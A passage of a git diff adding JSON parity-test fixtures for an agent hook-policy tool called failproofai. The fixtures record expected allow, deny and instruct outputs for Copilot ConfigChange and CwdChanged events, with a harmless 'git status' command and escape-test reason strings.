"decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..62a05d7b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..56cda356 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..1bb9ec35 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3edc6e58 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..954b2165 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bde3d680 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..618e47f3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3eb4f389 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e2afa9e0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..46378228 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..86f7833c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f9f771c1 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2c1bfdba --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..225f5dc3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c86fd5ca --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..8f7d3652 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..98ec49e8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..37f15e3a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..36ffd703 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..92dccf31 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + 